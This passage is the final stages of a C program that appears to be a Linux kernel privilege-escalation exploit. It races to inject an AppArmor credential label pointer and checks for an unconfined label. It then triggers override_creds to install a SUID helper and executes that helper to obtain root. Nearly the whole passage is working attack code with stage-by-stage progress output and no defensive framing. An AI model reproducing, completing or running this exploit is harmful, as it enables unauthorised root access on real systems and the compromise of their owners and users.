	if (run_race(slide, label_skb, 0, 32, CHANNEL_KEY_DATA_LEN,
		     false, false, false, 0, seconds,
		     &key_label_unlink, payload6) < 0 ||
	    read_key_payload(key_blob, blob_check, CHANNEL_KEY_DATA_LEN) !=
		    CHANNEL_KEY_DATA_LEN ||
	    read_key_payload(key_label, label_check, CHANNEL_KEY_DATA_LEN) !=
		    CHANNEL_KEY_DATA_LEN) {
		fprintf(stderr, "stage 8: label pointer injection failed\n");
		return 9;
	}
	label_pointer = get_u64(blob_check,
				32 + APPARMOR_CRED_BLOB_OFFSET);
	if (!kernel_heap_pointer(label_pointer) ||
	    get_u64(label_check, 32 + AA_LABEL_FLAGS_OFFSET) !=
		    AA_FLAG_UNCONFINED) {
		fprintf(stderr, "stage 8: invalid label %#llx or flags\n",
			(unsigned long long)label_pointer);
		return 9;
	}
	printf("stage 8 injected blob label=%#llx count=%u flags=%#llx\n",
	       (unsigned long long)label_pointer, get_u32(label_check, 32),
	       (unsigned long long)get_u64(label_check,
					     32 + AA_LABEL_FLAGS_OFFSET));
	if (argc > 3 && !strcmp(argv[3], "probe")) {
		puts("probe mode: stopping before the credential callback");
		return 0;
	}

	puts("[9/9] invoking override_creds and installing the SUID transition...");
	(void)run_race(slide, 0, 0, 0, CHANNEL_KEY_DATA_LEN, false, false,
		       false, fake_wait_entry, seconds, &trigger_key, payload4);
	if (!atomic_load_explicit(&root_obtained, memory_order_acquire)) {
		fprintf(stderr, "stage 9: no functional privileged file operation\n");
		return 9;
	}
	puts("SUID helper ready; executing it from the original unprivileged task...");
	fflush(NULL);
	execl(helper_path, helper_path, "--root-check", helper_path, NULL);
	perror("exec(SUID helper)");
	return 10;
}